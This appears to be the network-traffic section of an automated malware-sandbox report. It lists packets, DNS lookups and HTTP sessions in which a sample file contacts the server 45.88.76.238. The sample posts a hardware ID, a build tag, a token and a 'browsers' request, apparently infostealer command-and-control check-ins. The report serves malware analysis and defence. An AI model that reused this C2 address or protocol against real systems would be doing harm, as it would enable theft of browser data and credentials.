Oct 29, 2024 18:43:10.831674099 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.831708908 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.832254887 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.832263947 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.833744049 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.834011078 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.834028006 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.834489107 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.834494114 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.892796040 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.893368959 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.893388033 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.893789053 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.893795013 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.897942066 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.898313999 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.898334026 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.898838997 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.898845911 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.966299057 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.966327906 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.966389894 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.966429949 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.966464043 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.974239111 CET	50006	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.974258900 CET	443	50006	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.977452993 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.977591991 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:10.977683067 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.977873087 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:10.977896929 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.023749113 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.023835897 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.023916006 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.024115086 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.024136066 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.024158955 CET	50008	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.024167061 CET	443	50008	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.027656078 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.027695894 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.027776003 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.027915955 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.027945995 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.038547993 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.038575888 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.038625002 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.038640022 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.038698912 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.038866043 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.038883924 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.038897038 CET	50007	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.038902998 CET	443	50007	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.041573048 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.041635990 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.041733980 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.041881084 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.041913033 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.047267914 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.047693014 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.047755957 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.048132896 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.048146009 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.085639954 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.085669041 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.085694075 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.085728884 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.085742950 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.085781097 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.085802078 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.185935974 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.186173916 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.186249018 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.186343908 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.186343908 CET	50009	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.186389923 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.186417103 CET	443	50009	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.190718889 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.190733910 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.190799952 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.191042900 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.191056967 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205260992 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205296040 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205319881 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205332041 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205347061 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205347061 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205368996 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205394030 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205554008 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205571890 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.205580950 CET	50005	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.205588102 CET	443	50005	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.208170891 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.208220005 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.208290100 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.208442926 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.208472967 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.557502031 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.558120966 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.558207035 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.558762074 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.558777094 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.558880091 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.558897018 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.717225075 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.717758894 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.717793941 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.718214989 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.718220949 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.766697884 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.770714998 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.770715952 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.770746946 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.770768881 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.782829046 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.783341885 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.783405066 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.783952951 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.783967972 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.849214077 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.849324942 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.849534035 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.849595070 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.849617004 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.849630117 CET	50011	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.849636078 CET	443	50011	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.852466106 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.852498055 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.852574110 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.852704048 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.852716923 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.901321888 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.902301073 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.902395964 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.902456999 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.902477026 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.902492046 CET	50012	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.902499914 CET	443	50012	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.905608892 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.905657053 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.905756950 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.906033993 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.906048059 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.915015936 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.915224075 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.915261984 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.915350914 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.915409088 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.915410042 CET	50013	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.915450096 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.915477991 CET	443	50013	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.924802065 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.928751945 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.928767920 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.929330111 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.929336071 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.952105999 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.952656031 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.952692986 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.953216076 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:11.953227997 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:11.970566988 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.970592976 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.970633030 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.970731974 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.970753908 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.970930099 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.971262932 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.971306086 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.971348047 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:11.971446037 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.971482992 CET	443	50010	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:11.971539021 CET	50010	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:12.054955006 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.055131912 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.055200100 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.055341959 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.055361986 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.055382967 CET	50014	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.055391073 CET	443	50014	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.088057041 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.088217020 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.088291883 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.088635921 CET	50015	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.088654995 CET	443	50015	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.577210903 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.577821970 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.577832937 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.578279972 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.578284025 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.642857075 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.643548965 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.643596888 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.644201040 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.644217014 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.708749056 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.708869934 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.708947897 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.709191084 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.709212065 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.709222078 CET	50016	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.709227085 CET	443	50016	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.774147034 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.774339914 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.774441957 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.774601936 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.774624109 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:12.774638891 CET	50017	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:12.774643898 CET	443	50017	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:15.169359922 CET	49757	80	192.168.2.5	45.88.76.238

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 18:42:16.255255938 CET	53	57274	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:16.368585110 CET	59361	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:16.368719101 CET	51442	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:16.375376940 CET	53	50319	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:16.375825882 CET	53	59361	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:16.375842094 CET	53	51442	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:17.820071936 CET	53	52869	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:21.941303015 CET	53	59460	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:22.547977924 CET	56732	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:22.548167944 CET	59592	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:22.555253983 CET	53	50801	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:22.555767059 CET	53	56732	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:22.556832075 CET	53	59592	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:23.589600086 CET	58289	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:23.589895010 CET	59456	53	192.168.2.5	1.1.1.1
Oct 29, 2024 18:42:23.597559929 CET	53	58289	1.1.1.1	192.168.2.5
Oct 29, 2024 18:42:23.597652912 CET	53	59456	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 18:42:16.368585110 CET	192.168.2.5	1.1.1.1	0x6637	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 18:42:16.368719101 CET	192.168.2.5	1.1.1.1	0xa21a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 18:42:22.547977924 CET	192.168.2.5	1.1.1.1	0x18ff	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 18:42:22.548167944 CET	192.168.2.5	1.1.1.1	0xffc6	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 18:42:23.589600086 CET	192.168.2.5	1.1.1.1	0x22b1	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 18:42:23.589895010 CET	192.168.2.5	1.1.1.1	0xc2d0	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 18:42:16.375825882 CET	1.1.1.1	192.168.2.5	0x6637	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 29, 2024 18:42:16.375842094 CET	1.1.1.1	192.168.2.5	0xa21a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 18:42:22.555767059 CET	1.1.1.1	192.168.2.5	0x18ff	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 18:42:22.555767059 CET	1.1.1.1	192.168.2.5	0x18ff	No error (0)	plus.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 29, 2024 18:42:22.556832075 CET	1.1.1.1	192.168.2.5	0xffc6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 18:42:23.597559929 CET	1.1.1.1	192.168.2.5	0x22b1	No error (0)	play.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

otelrules.azureedge.net

fs.microsoft.com

apis.google.com

slscr.update.microsoft.com

play.google.com

https:

www.bing.com

45.88.76.238

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	45.88.76.238	80	3056	C:\Users\user\Desktop\5BQwrSLxIZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 18:42:08.582796097 CET	87	OUT	GET / HTTP/1.1 Host: 45.88.76.238 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 18:42:09.421825886 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 18:42:09.433738947 CET	415	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 45.88.76.238 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 31 33 31 44 43 36 45 34 33 31 33 37 38 38 39 32 38 34 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="hwid"80131DC6E431378892841------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="build"LogsDiller------DAEGIDHDHIDGIEBGIJEH--
Oct 29, 2024 18:42:09.796632051 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 45 32 4d 57 55 34 59 7a 6c 6c 5a 57 51 78 59 54 4d 33 4e 54 6c 68 59 57 5a 6b 4d 47 51 79 4d 6d 4d 34 4d 44 63 79 4d 32 55 33 4e 44 67 79 4d 44 42 68 4e 6d 59 30 4d 44 4d 79 5a 47 52 68 4e 32 46 68 5a 47 4d 34 4e 7a 51 34 4d 32 56 6b 5a 44 42 6a 4f 54 4e 6a 5a 54 59 77 4d 57 46 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDE2MWU4YzllZWQxYTM3NTlhYWZkMGQyMmM4MDcyM2U3NDgyMDBhNmY0MDMyZGRhN2FhZGM4NzQ4M2VkZDBjOTNjZTYwMWFkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 18:42:09.797859907 CET	467	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 45.88.76.238 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"browsers------HCAEGCBFHJDGCBFHDAFB--
Oct 29, 2024 18:42:10.041228056 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: 